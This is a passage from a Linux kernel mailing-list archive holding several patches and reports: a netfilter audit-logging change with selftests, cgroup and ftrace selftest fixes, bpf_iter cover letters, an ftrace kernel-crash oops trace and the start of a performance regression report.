*obj; bool reset = false; + int rc = 0; if (NFNL_MSG_TYPE(cb->nlh->nlmsg_type) == NFT_MSG_GETOBJ_RESET) reset = true; @@ -7352,6 +7364,7 @@ static int nf_tables_dump_obj(struct sk_buff *skb, struct netlink_callback *cb) if (family != NFPROTO_UNSPEC && family != table->family) continue; + entries = 0; list_for_each_entry_rcu(obj, &table->objects, list) { if (!nft_is_active(net, obj)) goto cont; @@ -7367,34 +7380,27 @@ static int nf_tables_dump_obj(struct sk_buff *skb, struct netlink_callback *cb) filter->type != NFT_OBJECT_UNSPEC && obj->ops->type->type != filter->type) goto cont; - if (reset) { - char *buf = kasprintf(GFP_ATOMIC, - "%s:%u", - table->name, - nft_net->base_seq); - - audit_log_nfcfg(buf, - family, - obj->handle, - AUDIT_NFT_OP_OBJ_RESET, - GFP_ATOMIC); - kfree(buf); - } - if (nf_tables_fill_obj_info(skb, net, NETLINK_CB(cb->skb).portid, - cb->nlh->nlmsg_seq, - NFT_MSG_NEWOBJ, - NLM_F_MULTI | NLM_F_APPEND, - table->family, table, - obj, reset) < 0) - goto done; + rc = nf_tables_fill_obj_info(skb, net, + NETLINK_CB(cb->skb).portid, + cb->nlh->nlmsg_seq, + NFT_MSG_NEWOBJ, + NLM_F_MULTI | NLM_F_APPEND, + table->family, table, + obj, reset); + if (rc < 0) + break; + entries++; nl_dump_check_consistent(cb, nlmsg_hdr(skb)); cont: idx++; } + if (reset && entries) + audit_log_obj_reset(table, nft_net->base_seq, entries); + if (rc < 0) + break; } -done: rcu_read_unlock(); cb->args[0] = idx; @@ -7499,7 +7505,7 @@ static int nf_tables_getobj(struct sk_buff *skb, const struct nfnl_info *info, audit_log_nfcfg(buf, family, - obj->handle, + 1, AUDIT_NFT_OP_OBJ_RESET, GFP_ATOMIC); kfree(buf); diff --git a/tools/testing/selftests/netfilter/nft_audit.sh b/tools/testing/selftests/netfilter/nft_audit.sh index bb34329e02a7f..e94a80859bbdb 100755 --- a/tools/testing/selftests/netfilter/nft_audit.sh +++ b/tools/testing/selftests/netfilter/nft_audit.sh @@ -93,6 +93,12 @@ do_test 'nft add counter t1 c1' \ do_test 'nft add counter t2 c1; add counter t2 c2' \ 'table=t2 family=2 entries=2 op=nft_register_obj' +for ((i = 3; i <= 500; i++)); do + echo "add counter t2 c$i" +done >$rulefile +do_test "nft -f $rulefile" \ +'table=t2 family=2 entries=498 op=nft_register_obj' + # adding/updating quotas do_test 'nft add quota t1 q1 { 10 bytes }' \ @@ -101,6 +107,12 @@ do_test 'nft add quota t1 q1 { 10 bytes }' \ do_test 'nft add quota t2 q1 { 10 bytes }; add quota t2 q2 { 10 bytes }' \ 'table=t2 family=2 entries=2 op=nft_register_obj' +for ((i = 3; i <= 500; i++)); do + echo "add quota t2 q$i { 10 bytes }" +done >$rulefile +do_test "nft -f $rulefile" \ +'table=t2 family=2 entries=498 op=nft_register_obj' + # changing the quota value triggers obj update path do_test 'nft add quota t1 q1 { 20 bytes }' \ 'table=t1 family=2 entries=1 op=nft_register_obj' @@ -150,6 +162,40 @@ done do_test 'nft reset set t1 s' \ 'table=t1 family=2 entries=3 op=nft_reset_setelem' +# resetting counters + +do_test 'nft reset counter t1 c1' \ +'table=t1 family=2 entries=1 op=nft_reset_obj' + +do_test 'nft reset counters t1' \ +'table=t1 family=2 entries=1 op=nft_reset_obj' + +do_test 'nft reset counters t2' \ +'table=t2 family=2 entries=342 op=nft_reset_obj +table=t2 family=2 entries=158 op=nft_reset_obj' + +do_test 'nft reset counters' \ +'table=t1 family=2 entries=1 op=nft_reset_obj +table=t2 family=2 entries=341 op=nft_reset_obj +table=t2 family=2 entries=159 op=nft_reset_obj' + +# resetting quotas + +do_test 'nft reset quota t1 q1' \ +'table=t1 family=2 entries=1 op=nft_reset_obj' + +do_test 'nft reset quotas t1' \ +'table=t1 family=2 entries=1 op=nft_reset_obj' + +do_test 'nft reset quotas t2' \ +'table=t2 family=2 entries=315 op=nft_reset_obj +table=t2 family=2 entries=185 op=nft_reset_obj' + +do_test 'nft reset quotas' \ +'table=t1 family=2 entries=1 op=nft_reset_obj +table=t2 family=2 entries=314 op=nft_reset_obj +table=t2 family=2 entries=186 op=nft_reset_obj' + # deleting rules readarray -t handles < <(nft -a list chain t1 c1 | \ -- 2.42.0

1 year, 11 months

1
0
0 0

[PATCH AUTOSEL 6.5 47/52] netfilter: nf_tables: audit log object reset once per table

by Sasha Levin

From: Phil Sutter <phil(a)nwl.cc> [ Upstream commit 1baf0152f7707c6c7e4ea815dcc1f431c0e603f9 ] When resetting multiple objects at once (via dump request), emit a log message per table (or filled skb) and resurrect the 'entries' parameter to contain the number of objects being logged for. To test the skb exhaustion path, perform some bulk counter and quota adds in the kselftest. Signed-off-by: Phil Sutter <phil(a)nwl.cc> Reviewed-by: Richard Guy Briggs <rgb(a)redhat.com> Acked-by: Paul Moore <paul(a)paul-moore.com> (Audit) Signed-off-by: Florian Westphal <fw(a)strlen.de> Signed-off-by: Sasha Levin <sashal(a)kernel.org> --- net/netfilter/nf_tables_api.c | 50 +++++++++++-------- .../testing/selftests/netfilter/nft_audit.sh | 46 +++++++++++++++++ 2 files changed, 74 insertions(+), 22 deletions(-) diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c index be5869366c7d3..bddf68f364fb5 100644 --- a/net/netfilter/nf_tables_api.c +++ b/net/netfilter/nf_tables_api.c @@ -7612,6 +7612,16 @@ static int nf_tables_fill_obj_info(struct sk_buff *skb, struct net *net, return -1; } +static void audit_log_obj_reset(const struct nft_table *table, + unsigned int base_seq, unsigned int nentries) +{ + char *buf = kasprintf(GFP_ATOMIC, "%s:%u", table->name, base_seq); + + audit_log_nfcfg(buf, table->family, nentries, + AUDIT_NFT_OP_OBJ_RESET, GFP_ATOMIC); + kfree(buf); +} + struct nft_obj_filter { char *table; u32 type; @@ -7626,8 +7636,10 @@ static int nf_tables_dump_obj(struct sk_buff *skb, struct netlink_callback *cb) struct net *net = sock_net(skb->sk); int family = nfmsg->nfgen_family; struct nftables_pernet *nft_net; + unsigned int entries = 0; struct nft_object *obj; bool reset = false; + int rc = 0; if (NFNL_MSG_TYPE(cb->nlh->nlmsg_type) == NFT_MSG_GETOBJ_RESET) reset = true; @@ -7640,6 +7652,7 @@ static int nf_tables_dump_obj(struct sk_buff *skb, struct netlink_callback *cb) if (family != NFPROTO_UNSPEC && family != table->family) continue; + entries = 0; list_for_each_entry_rcu(obj, &table->objects, list) { if (!nft_is_active(net, obj)) goto cont; @@ -7655,34 +7668,27 @@ static int nf_tables_dump_obj(struct sk_buff *skb, struct netlink_callback *cb) filter->type != NFT_OBJECT_UNSPEC && obj->ops->type->type != filter->type) goto cont; - if (reset) { - char *buf = kasprintf(GFP_ATOMIC, - "%s:%u", - table->name, - nft_net->base_seq); - - audit_log_nfcfg(buf, - family, - obj->handle, - AUDIT_NFT_OP_OBJ_RESET, - GFP_ATOMIC); - kfree(buf); - } - if (nf_tables_fill_obj_info(skb, net, NETLINK_CB(cb->skb).portid, - cb->nlh->nlmsg_seq, - NFT_MSG_NEWOBJ, - NLM_F_MULTI | NLM_F_APPEND, - table->family, table, - obj, reset) < 0) - goto done; + rc = nf_tables_fill_obj_info(skb, net, + NETLINK_CB(cb->skb).portid, + cb->nlh->nlmsg_seq, + NFT_MSG_NEWOBJ, + NLM_F_MULTI | NLM_F_APPEND, + table->family, table, + obj, reset); + if (rc < 0) + break; + entries++; nl_dump_check_consistent(cb, nlmsg_hdr(skb)); cont: idx++; } + if (reset && entries) + audit_log_obj_reset(table, nft_net->base_seq, entries); + if (rc < 0) + break; } -done: rcu_read_unlock(); cb->args[0] = idx; @@ -7787,7 +7793,7 @@ static int nf_tables_getobj(struct sk_buff *skb, const struct nfnl_info *info, audit_log_nfcfg(buf, family, - obj->handle, + 1, AUDIT_NFT_OP_OBJ_RESET, GFP_ATOMIC); kfree(buf); diff --git a/tools/testing/selftests/netfilter/nft_audit.sh b/tools/testing/selftests/netfilter/nft_audit.sh index bb34329e02a7f..e94a80859bbdb 100755 --- a/tools/testing/selftests/netfilter/nft_audit.sh +++ b/tools/testing/selftests/netfilter/nft_audit.sh @@ -93,6 +93,12 @@ do_test 'nft add counter t1 c1' \ do_test 'nft add counter t2 c1; add counter t2 c2' \ 'table=t2 family=2 entries=2 op=nft_register_obj' +for ((i = 3; i <= 500; i++)); do + echo "add counter t2 c$i" +done >$rulefile +do_test "nft -f $rulefile" \ +'table=t2 family=2 entries=498 op=nft_register_obj' + # adding/updating quotas do_test 'nft add quota t1 q1 { 10 bytes }' \ @@ -101,6 +107,12 @@ do_test 'nft add quota t1 q1 { 10 bytes }' \ do_test 'nft add quota t2 q1 { 10 bytes }; add quota t2 q2 { 10 bytes }' \ 'table=t2 family=2 entries=2 op=nft_register_obj' +for ((i = 3; i <= 500; i++)); do + echo "add quota t2 q$i { 10 bytes }" +done >$rulefile +do_test "nft -f $rulefile" \ +'table=t2 family=2 entries=498 op=nft_register_obj' + # changing the quota value triggers obj update path do_test 'nft add quota t1 q1 { 20 bytes }' \ 'table=t1 family=2 entries=1 op=nft_register_obj' @@ -150,6 +162,40 @@ done do_test 'nft reset set t1 s' \ 'table=t1 family=2 entries=3 op=nft_reset_setelem' +# resetting counters + +do_test 'nft reset counter t1 c1' \ +'table=t1 family=2 entries=1 op=nft_reset_obj' + +do_test 'nft reset counters t1' \ +'table=t1 family=2 entries=1 op=nft_reset_obj' + +do_test 'nft reset counters t2' \ +'table=t2 family=2 entries=342 op=nft_reset_obj +table=t2 family=2 entries=158 op=nft_reset_obj' + +do_test 'nft reset counters' \ +'table=t1 family=2 entries=1 op=nft_reset_obj +table=t2 family=2 entries=341 op=nft_reset_obj +table=t2 family=2 entries=159 op=nft_reset_obj' + +# resetting quotas + +do_test 'nft reset quota t1 q1' \ +'table=t1 family=2 entries=1 op=nft_reset_obj' + +do_test 'nft reset quotas t1' \ +'table=t1 family=2 entries=1 op=nft_reset_obj' + +do_test 'nft reset quotas t2' \ +'table=t2 family=2 entries=315 op=nft_reset_obj +table=t2 family=2 entries=185 op=nft_reset_obj' + +do_test 'nft reset quotas' \ +'table=t1 family=2 entries=1 op=nft_reset_obj +table=t2 family=2 entries=314 op=nft_reset_obj +table=t2 family=2 entries=186 op=nft_reset_obj' + # deleting rules readarray -t handles < <(nft -a list chain t1 c1 | \ -- 2.42.0

1 year, 11 months

1
0
0 0

[PATCH] selftests/cgroup: Fix awk usage in test_cpuset_prs.sh that may cause error

by Juntong Deng

According to the awk manual, the -e option does not need to be specified in front of 'program' (unless you need to mix program-file). The redundant -e option can cause error when users use awk tools other than gawk (for example, mawk does not support the -e option). Error Example: awk: not an option: -e Cgroup v2 mount point not found! Signed-off-by: Juntong Deng <juntong.deng(a)outlook.com> --- tools/testing/selftests/cgroup/test_cpuset_prs.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/testing/selftests/cgroup/test_cpuset_prs.sh b/tools/testing/selftests/cgroup/test_cpuset_prs.sh index 4afb132e4e4f..6820653e8432 100755 --- a/tools/testing/selftests/cgroup/test_cpuset_prs.sh +++ b/tools/testing/selftests/cgroup/test_cpuset_prs.sh @@ -20,7 +20,7 @@ skip_test() { WAIT_INOTIFY=$(cd $(dirname $0); pwd)/wait_inotify # Find cgroup v2 mount point -CGROUP2=$(mount -t cgroup2 | head -1 | awk -e '{print $3}') +CGROUP2=$(mount -t cgroup2 | head -1 | awk '{print $3}') [[ -n "$CGROUP2" ]] || skip_test "Cgroup v2 mount point not found!" CPUS=$(lscpu | grep "^CPU(s):" | sed -e "s/.*:[[:space:]]*//") -- 2.39.2

1 year, 11 months

2
2
0 0

selftests: ftrace: RIP: 0010:__lock_acquire (kernel/locking/lockdep.c:5005)

by Naresh Kamboju

Following kernel crash noticed on x86_64 while running selftests ftracetests running 6.6.0-rc7-next-20231026. Reported-by: Linux Kernel Functional Testing <lkft(a)linaro.org> log: ----- # ok 44 ftrace - test for function traceon/off triggers # ok 45 ftrace - test tracing error log support # ok 46 Test creation and deletion of trace instances while setting an event [ 1402.419605] BUG: kernel NULL pointer dereference, address: 0000000000000097 [ 1402.426574] #PF: supervisor read access in kernel mode [ 1402.431715] #PF: error_code(0x0000) - not-present page [ 1402.436852] PGD 0 P4D 0 [ 1402.439393] Oops: 0000 [#1] PREEMPT SMP PTI [ 1402.443578] CPU: 0 PID: 18196 Comm: ls Not tainted 6.6.0-rc7-next-20231026 #1 [ 1402.450711] Hardware name: Supermicro SYS-5019S-ML/X11SSH-F, BIOS 2.7 12/07/2021 [ 1402.458102] RIP: 0010:__lock_acquire (kernel/locking/lockdep.c:5005) [ 1402.462722] Code: 4d d4 53 45 85 f6 0f 84 a5 06 00 00 44 8b 2d 8d c2 bf 02 45 89 c2 49 89 fb 89 f3 41 89 d6 45 89 c8 45 85 ed 0f 84 ca 02 00 00 <48> 81 3f c0 2b f1 af 44 0f 44 d0 83 fb 01 0f 86 c2 02 00 00 31 d2 All code ======== 0: 4d d4 rex.WRB (bad) 2: 53 push %rbx 3: 45 85 f6 test %r14d,%r14d 6: 0f 84 a5 06 00 00 je 0x6b1 c: 44 8b 2d 8d c2 bf 02 mov 0x2bfc28d(%rip),%r13d # 0x2bfc2a0 13: 45 89 c2 mov %r8d,%r10d 16: 49 89 fb mov %rdi,%r11 19: 89 f3 mov %esi,%ebx 1b: 41 89 d6 mov %edx,%r14d 1e: 45 89 c8 mov %r9d,%r8d 21: 45 85 ed test %r13d,%r13d 24: 0f 84 ca 02 00 00 je 0x2f4 2a:* 48 81 3f c0 2b f1 af cmpq $0xffffffffaff12bc0,(%rdi) <-- trapping instruction 31: 44 0f 44 d0 cmove %eax,%r10d 35: 83 fb 01 cmp $0x1,%ebx 38: 0f 86 c2 02 00 00 jbe 0x300 3e: 31 d2 xor %edx,%edx Code starting with the faulting instruction =========================================== 0: 48 81 3f c0 2b f1 af cmpq $0xffffffffaff12bc0,(%rdi) 7: 44 0f 44 d0 cmove %eax,%r10d b: 83 fb 01 cmp $0x1,%ebx e: 0f 86 c2 02 00 00 jbe 0x2d6 14: 31 d2 xor %edx,%edx [ 1402.481497] RSP: 0018:ffff9b3041327998 EFLAGS: 00010002 [ 1402.486719] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000 [ 1402.493843] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000097 [ 1402.500967] RBP: ffff9b3041327a38 R08: 0000000000000000 R09: 0000000000000000 [ 1402.508092] R10: 0000000000000001 R11: 0000000000000097 R12: ffff8de420f38040 [ 1402.515225] R13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000000 [ 1402.522348] FS: 00007f52d72a1d00(0000) GS:ffff8de767a00000(0000) knlGS:0000000000000000 [ 1402.530438] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1402.536224] CR2: 0000000000000097 CR3: 000000012201e005 CR4: 00000000003706f0 [ 1402.543354] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 1402.550479] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 1402.557602] Call Trace: [ 1402.560049] <TASK> [ 1402.562153] ? show_regs (arch/x86/kernel/dumpstack.c:479) [ 1402.565559] ? __die (arch/x86/kernel/dumpstack.c:421 arch/x86/kernel/dumpstack.c:434) [ 1402.568611] ? page_fault_oops (arch/x86/mm/fault.c:707) [ 1402.572711] ? __lock_acquire (kernel/locking/lockdep.c:186 kernel/locking/lockdep.c:3872 kernel/locking/lockdep.c:5136) [ 1402.576811] ? do_user_addr_fault (arch/x86/mm/fault.c:1264) [ 1402.581170] ? exc_page_fault (arch/x86/include/asm/irqflags.h:26 arch/x86/include/asm/irqflags.h:67 arch/x86/include/asm/irqflags.h:127 arch/x86/mm/fault.c:1513 arch/x86/mm/fault.c:1561) [ 1402.585094] ? asm_exc_page_fault (arch/x86/include/asm/idtentry.h:570) [ 1402.589283] ? __lock_acquire (kernel/locking/lockdep.c:5005) [ 1402.593296] ? lock_acquire (kernel/locking/lockdep.c:467 (discriminator 4) kernel/locking/lockdep.c:5755 (discriminator 4) kernel/locking/lockdep.c:5718 (discriminator 4)) [ 1402.597045] ? create_dir_dentry.part.0 (fs/tracefs/event_inode.c:357 (discriminator 1)) [ 1402.601928] lock_acquire (kernel/locking/lockdep.c:467 (discriminator 4) kernel/locking/lockdep.c:5755 (discriminator 4) kernel/locking/lockdep.c:5718 (discriminator 4)) [ 1402.605503] ? d_invalidate (fs/dcache.c:1725 (discriminator 1)) [ 1402.609170] ? lock_release (kernel/locking/lockdep.c:5429 kernel/locking/lockdep.c:5773) [ 1402.612923] ? create_dir_dentry.part.0 (fs/tracefs/event_inode.c:387) [ 1402.617803] _raw_spin_lock (include/linux/spinlock_api_smp.h:134 kernel/locking/spinlock.c:154) [ 1402.621467] ? d_invalidate (fs/dcache.c:1725 (discriminator 1)) [ 1402.625126] d_invalidate (fs/dcache.c:1725 (discriminator 1)) [ 1402.628619] create_dir_dentry.part.0 (fs/tracefs/event_inode.c:390) [ 1402.633324] dcache_dir_open_wrapper (fs/tracefs/event_inode.c:586) [ 1402.637945] ? __pfx_dcache_dir_open_wrapper (fs/tracefs/event_inode.c:536) [ 1402.643081] do_dentry_open (fs/open.c:948) [ 1402.646924] vfs_open (fs/open.c:1083) [ 1402.650069] path_openat (fs/namei.c:3623 fs/namei.c:3779) [ 1402.653648] do_filp_open (fs/namei.c:3810 (discriminator 2)) [ 1402.657233] do_sys_openat2 (fs/open.c:1441 (discriminator 1)) [ 1402.660911] __x64_sys_openat (fs/open.c:1466) [ 1402.664749] do_syscall_64 (arch/x86/entry/common.c:51 arch/x86/entry/common.c:82) [ 1402.668328] ? syscall_exit_to_user_mode (kernel/entry/common.c:299) [ 1402.673120] ? do_syscall_64 (arch/x86/entry/common.c:101) [ 1402.676864] ? do_syscall_64 (arch/x86/entry/common.c:101) [ 1402.680607] ? do_syscall_64 (arch/x86/entry/common.c:101) [ 1402.684352] ? syscall_exit_to_user_mode (kernel/entry/common.c:299) [ 1402.689136] ? do_syscall_64 (arch/x86/entry/common.c:101) [ 1402.692880] ? syscall_exit_to_user_mode (kernel/entry/common.c:299) [ 1402.697666] ? do_syscall_64 (arch/x86/entry/common.c:101) [ 1402.701440] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:129) [ 1402.706512] RIP: 0033:0x7f52d7439df1 [ 1402.710082] Code: 44 24 18 31 c0 41 83 e2 40 75 3e 89 f0 25 00 00 41 00 3d 00 00 41 00 74 30 89 f2 b8 01 01 00 00 48 89 fe bf 9c ff ff ff 0f 05 <48> 3d 00 f0 ff ff 77 3f 48 8b 54 24 18 64 48 2b 14 25 28 00 00 00 All code ======== 0: 44 24 18 rex.R and $0x18,%al 3: 31 c0 xor %eax,%eax 5: 41 83 e2 40 and $0x40,%r10d 9: 75 3e jne 0x49 b: 89 f0 mov %esi,%eax d: 25 00 00 41 00 and $0x410000,%eax 12: 3d 00 00 41 00 cmp $0x410000,%eax 17: 74 30 je 0x49 19: 89 f2 mov %esi,%edx 1b: b8 01 01 00 00 mov $0x101,%eax 20: 48 89 fe mov %rdi,%rsi 23: bf 9c ff ff ff mov $0xffffff9c,%edi 28: 0f 05 syscall 2a:* 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax <-- trapping instruction 30: 77 3f ja 0x71 32: 48 8b 54 24 18 mov 0x18(%rsp),%rdx 37: 64 48 2b 14 25 28 00 sub %fs:0x28,%rdx 3e: 00 00 Code starting with the faulting instruction =========================================== 0: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax 6: 77 3f ja 0x47 8: 48 8b 54 24 18 mov 0x18(%rsp),%rdx d: 64 48 2b 14 25 28 00 sub %fs:0x28,%rdx 14: 00 00 [ 1402.728821] RSP: 002b:00007fff2270ba90 EFLAGS: 00000287 ORIG_RAX: 0000000000000101 [ 1402.736388] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f52d7439df1 [ 1402.743520] RDX: 0000000000090800 RSI: 0000558fb3992090 RDI: 00000000ffffff9c [ 1402.750651] RBP: 0000000000000000 R08: 0000000000000007 R09: 0000558fb3992250 [ 1402.757775] R10: 0000000000000000 R11: 0000000000000287 R12: 00007f52d72a1b98 [ 1402.764900] R13: 00007fff2270bee0 R14: 0000558fb3992090 R15: 0000558fb28aafc8 [ 1402.772027] </TASK> [ 1402.774216] Modules linked in: x86_pkg_temp_thermal fuse configfs [last unloaded: trace_printk] [ 1402.782908] CR2: 0000000000000097 [ 1402.786220] ---[ end trace 0000000000000000 ]--- [ 1402.790839] RIP: 0010:__lock_acquire (kernel/locking/lockdep.c:5005) [ 1402.795468] Code: 4d d4 53 45 85 f6 0f 84 a5 06 00 00 44 8b 2d 8d c2 bf 02 45 89 c2 49 89 fb 89 f3 41 89 d6 45 89 c8 45 85 ed 0f 84 ca 02 00 00 <48> 81 3f c0 2b f1 af 44 0f 44 d0 83 fb 01 0f 86 c2 02 00 00 31 d2 All code ======== 0: 4d d4 rex.WRB (bad) 2: 53 push %rbx 3: 45 85 f6 test %r14d,%r14d 6: 0f 84 a5 06 00 00 je 0x6b1 c: 44 8b 2d 8d c2 bf 02 mov 0x2bfc28d(%rip),%r13d # 0x2bfc2a0 13: 45 89 c2 mov %r8d,%r10d 16: 49 89 fb mov %rdi,%r11 19: 89 f3 mov %esi,%ebx 1b: 41 89 d6 mov %edx,%r14d 1e: 45 89 c8 mov %r9d,%r8d 21: 45 85 ed test %r13d,%r13d 24: 0f 84 ca 02 00 00 je 0x2f4 2a:* 48 81 3f c0 2b f1 af cmpq $0xffffffffaff12bc0,(%rdi) <-- trapping instruction 31: 44 0f 44 d0 cmove %eax,%r10d 35: 83 fb 01 cmp $0x1,%ebx 38: 0f 86 c2 02 00 00 jbe 0x300 3e: 31 d2 xor %edx,%edx Code starting with the faulting instruction =========================================== 0: 48 81 3f c0 2b f1 af cmpq $0xffffffffaff12bc0,(%rdi) 7: 44 0f 44 d0 cmove %eax,%r10d b: 83 fb 01 cmp $0x1,%ebx e: 0f 86 c2 02 00 00 jbe 0x2d6 14: 31 d2 xor %edx,%edx [ 1402.814213] RSP: 0018:ffff9b3041327998 EFLAGS: 00010002 [ 1402.819439] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000 [ 1402.826587] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000097 [ 1402.833711] RBP: ffff9b3041327a38 R08: 0000000000000000 R09: 0000000000000000 [ 1402.840836] R10: 0000000000000001 R11: 0000000000000097 R12: ffff8de420f38040 [ 1402.847959] R13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000000 [ 1402.855083] FS: 00007f52d72a1d00(0000) GS:ffff8de767a00000(0000) knlGS:0000000000000000 [ 1402.863161] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1402.868897] CR2: 0000000000000097 CR3: 000000012201e005 CR4: 00000000003706f0 [ 1402.876023] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 1402.883154] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 1402.890280] Kernel panic - not syncing: Fatal exception [ 1402.895543] Kernel Offset: 0x2b000000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) [ 1402.906322] ---[ end Kernel panic - not syncing: Fatal exception ]--- Links: - https://qa-reports.linaro.org/lkft/linux-next-master/build/next-20231026/te… - https://lkft.validation.linaro.org/scheduler/job/6974183#L5240 metadata: git_ref: master git_repo: https://gitlab.com/Linaro/lkft/mirrors/next/linux-next git_sha: 2ef7141596eed0b4b45ef18b3626f428a6b0a822 git_describe: next-20231026 kernel-config: https://storage.tuxsuite.com/public/linaro/lkft/builds/2XHt24sNSdog7DYY3FLK… artifact-location: https://storage.tuxsuite.com/public/linaro/lkft/builds/2XHt24sNSdog7DYY3FLK… toolchain: gcc-13 -- Linaro LKFT https://lkft.linaro.org

1 year, 11 months

3
2
0 0

[PATCH bpf-next v3 0/2] selftests/bpf: Replaces CHECK macros and adds malloc failure checks to bpf_iter

by Yuran Pereira

This patch series contains the following updates: - Replaces the usage of all the CHECK macros in bpf_iter to the appropriate ASSERT_* macro calls - Adds appropriate malloc failure checks to bpf_iter Changes in v3: - Modified and removed unnecessary `if` statements as suggested by Kui-Feng [1] Changes in v2: - Removed unused "duration" variable which caused compilation error as reported by Yonghong Song [2] - Improved malloc failure handling as suggested by Kui-Feng Lee [3] - Ensured propper patch formatting (i.e. sending it as a set instead of two distinct patches) [1] https://lore.kernel.org/lkml/3739e65c-b86d-4c11-9cf5-7b76080400c2@gmail.com/ [2] https://lore.kernel.org/lkml/3531360b-c933-4c5f-a84c-17edf0592519@linux.dev/ [3] https://lore.kernel.org/lkml/7d703c4c-1a24-4806-a483-c02efb666059@gmail.com Previous versions: v2 - https://lore.kernel.org/lkml/DB3PR10MB6835598B901975BEAEBA8601E8DDA@DB3PR10… - https://lore.kernel.org/lkml/DB3PR10MB68352B683F26EE9C342B71A9E8DDA@DB3PR10… v1 - https://lore.kernel.org/lkml/DB3PR10MB683589A5F705C6CA5BE0D325E8DFA@DB3PR10… - https://lore.kernel.org/lkml/DB3PR10MB68356D7CDF6005480BE5876CE8DEA@DB3PR10… Yuran Pereira (2): selftests/bpf: Convert CHECK macros to ASSERT_* macros in bpf_iter selftests/bpf: Add malloc failure checks in bpf_iter .../selftests/bpf/prog_tests/bpf_iter.c | 85 +++++++++---------- 1 file changed, 40 insertions(+), 45 deletions(-) -- 2.25.1

1 year, 11 months

1
0
0 0

[PATCH] selftests/ftrace: Add test case for a symbol in a module without module name

by Masami Hiramatsu (Google)

From: Masami Hiramatsu (Google) <mhiramat(a)kernel.org> Add a test case for probing on a symbol in a module without module name. When probing on a symbol in a module, ftrace accepts both the syntax that <MODNAME>:<SYMBOL> and <SYMBOL>. Current test case only checks the former syntax. This adds a test for the latter one. Signed-off-by: Masami Hiramatsu (Google) <mhiramat(a)kernel.org> --- .../ftrace/test.d/kprobe/kprobe_module.tc | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/tools/testing/selftests/ftrace/test.d/kprobe/kprobe_module.tc b/tools/testing/selftests/ftrace/test.d/kprobe/kprobe_module.tc index 7e74ee11edf9..4b32e1b9a8d3 100644 --- a/tools/testing/selftests/ftrace/test.d/kprobe/kprobe_module.tc +++ b/tools/testing/selftests/ftrace/test.d/kprobe/kprobe_module.tc @@ -13,6 +13,12 @@ fi MOD=trace_printk FUNC=trace_printk_irq_work +:;: "Add an event on a module function without module name" ;: + +echo "p:event0 $FUNC" > kprobe_events +test -d events/kprobes/event0 || exit_failure +echo "-:kprobes/event0" >> kprobe_events + :;: "Add an event on a module function without specifying event name" ;: echo "p $MOD:$FUNC" > kprobe_events

1 year, 11 months

1
0
0 0

[PATCH bpf-next v2 0/2] selftests/bpf: Replaces CHECK macros and adds malloc failure checks to bpf_iter

by Yuran Pereira

This patch series contains the following updates: - Replaces the usage of all the CHECK macros in bpf_iter to the appropriate ASSERT_* macro calls - Adds appropriate malloc failure checks to bpf_iter Changes in v2: - Removed unused "duration" variable which caused compilation error as reported by Yonghong Song [1] - Improved malloc failure handling as suggested by Kui-Feng Lee [2] - Ensured propper patch formatting (i.e. sending it as a set instead of two distinct patches) [1] https://lore.kernel.org/lkml/3531360b-c933-4c5f-a84c-17edf0592519@linux.dev/ [2] https://lore.kernel.org/lkml/7d703c4c-1a24-4806-a483-c02efb666059@gmail.com Previous version: v1 - https://lore.kernel.org/lkml/DB3PR10MB683589A5F705C6CA5BE0D325E8DFA@DB3PR10… - https://lore.kernel.org/lkml/DB3PR10MB68356D7CDF6005480BE5876CE8DEA@DB3PR10… Yuran Pereira (2): selftests/bpf: Convert CHECK macros to ASSERT_* macros in bpf_iter selftests/bpf: Add malloc failure checks in bpf_iter .../selftests/bpf/prog_tests/bpf_iter.c | 88 +++++++++---------- 1 file changed, 44 insertions(+), 44 deletions(-) -- 2.25.1

1 year, 11 months

2
2
0 0

[linux-next:master] [ptp] 403376ddb4: stress-ng.clock.ops_per_sec -12.7% regression

by kernel test robot

Hello, kernel test robot noticed a -12.7% regression of stress-ng.clock.ops_per_sec on: commit: 403376ddb4221be9db5326ae334773807df71ffe ("ptp: add debugfs interface to see applied channel masks") https://git.kernel.org/cgit/linux/kernel/git/next/linux-next.git master testcase: stress-ng test machine: 36 threads 1 sockets Intel(R) Core(TM) i9-10980XE CPU @ 3.00GHz (Cascade Lake) with 128G memory parameters: nr_threads: 1 disk: 1HDD testtime: 60s class: interrupt test: clock cpufreq_governor: performance If you fix the issue in a separate patch/commit (i.e. not just a new version of the same patch/commit), kindly add following tags | Reported-by: kernel test robot <oliver.sang(a)intel.com> | Closes: https://lore.kernel.org/oe-lkp/202310271441.b9fb0896-oliver.sang@intel.com Details are as below: --------------------------------------------------------------------------------------------------> The kernel config and materials to reproduce are available at: https://download.01.org/0day-ci/archive/20231027/202310271441.b9fb0896-oliv… ========================================================================================= class/compiler/cpufreq_governor/disk/kconfig/nr_threads/rootfs/tbox_group/test/testcase/testtime: interrupt/gcc-12/performance/1HDD/x86_64-rhel-8.3/1/debian-11.1-x86_64-20220510.cgz/lkp-csl-d02/clock/stress-ng/60s commit: c5a445b1e9 ("ptp: support event queue reader channel masks") 403376ddb4 ("ptp: add debugfs interface to see applied channel masks") c5a445b1e9347b14 403376ddb4221be9db5326ae334 ---------------- --------------------------- %stddev %change %stddev \ | \ 2.50 +8.3% 2.71 iostat.cpu.system 0.05 ± 3% +0.0 0.06 mpstat.cpu.all.soft% 1.84 +0.2 2.04 